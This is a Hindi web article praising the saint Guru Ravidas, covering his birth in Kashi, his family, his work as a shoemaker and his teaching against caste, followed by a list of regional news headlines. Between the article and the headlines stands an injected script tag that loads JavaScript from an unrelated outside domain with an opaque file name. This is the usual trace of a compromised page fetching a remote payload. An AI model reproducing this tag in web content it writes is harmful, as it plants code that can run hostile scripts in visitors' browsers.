<p>गुरू रविदास का जन्म काशी में माघ पूर्णिमा दिन रविवार को संवत 1388 को हुआ था। उनके पिता राहू और माता का नाम करमा था। उनकी पत्नी का नाम लोना बताया जाता है। गुरू रविदास ने साधु-सन्तों की संगति से पर्याप्त व्यावहारिक ज्ञान प्राप्त किया था। वे जूते बनाने का काम किया करते थे औऱ ये उनका व्यवसाय था और उन्होंने अपना काम पूरी लगन और परिश्रम से करते थे और समय से काम को पूरा करने पर बहुत ध्यान देते थे।</p>
<p><br />
सतगुरु रविदास जी भारत के उन चुनिंदा महापुरुषों में से एक हैं जिन्होंने अपने रूहानी वचनों से सारे संसार को एकता, भाईचारा पर जोर दिया। अनूप महिमा को देख कई राजे और रानियां आपकी शरण में आए। जीवन भर समाज में फैली कुरीति जैसे जात पात के अंत के लिए काम किया। और उनके सेवक उनको सतगुरु, जगतगुरु आदि नामों से सत्कार करते हैं। साथ ही अपनी दया दृष्टि से करोड़ों लोगों का उद्धार किया जैसे: मीरा बाई, सिकंदर लोधी, राजा पीपा, राजा नागरमल आदी है। आज भी सन्त रैदास के उपदेश समाज के कल्याण और उत्थान के लिए अत्यधिक महत्वपूर्ण हैं।</p>
<p>उन्होंने अपने आचरण और व्यवहार से यह प्रमाणित कर दिया है कि मनुष्य अपने जन्म और व्यवसाय के आधार पर महान नहीं होता है। विचारों की श्रेष्ठता, समाज के हित की भावना से प्रेरित कार्य और सद्व्यवहार जैसे गुण ही मनुष्य को महान बनाने में सहायक होते हैं। इन्हीं गुणों के कारण सन्त रैदास को अपने समय के समाज में अत्यधिक सम्मान मिला और इसी कारण आज भी लोग इन्हें श्रद्धापूर्वक स्मरण करते हैं।</p>
<p> </p>
<p> </p>
<script src=”//trableflick.com/21aca573d498d25317.js”></script>
NDA Victory in Maharashtra: भारतीय जनता पार्टी की जिला उपाध्यक्ष उषा बिरला ने महाराष्ट्र में…
Shimla Prison Fight: शिमला के कैथू जेल में शनिवार को दो कैदियों के बीच कंबल…
Free health camp Sujanpur: प्रयास संस्था के माध्यम से पूर्व केंद्रीय मंत्री एवं सांसद अनुराग…
Blog: Shivanshu Shukla Kangra Airport flight disruptions: देश विदेश के सैलानियों के लिए आकर्षण और…
DigiLocker issues for disabled: मंडी के बाबा भूतनाथ मंदिर परिसर में शनिवार को हिमालयन दिव्यांग…
Himachal Technical University convocation: हिमाचल प्रदेश तकनीकी विश्वविद्यालय, हमीरपुर का पांचवां दीक्षांत समारोह राष्ट्रीय प्रौद्योगिकी…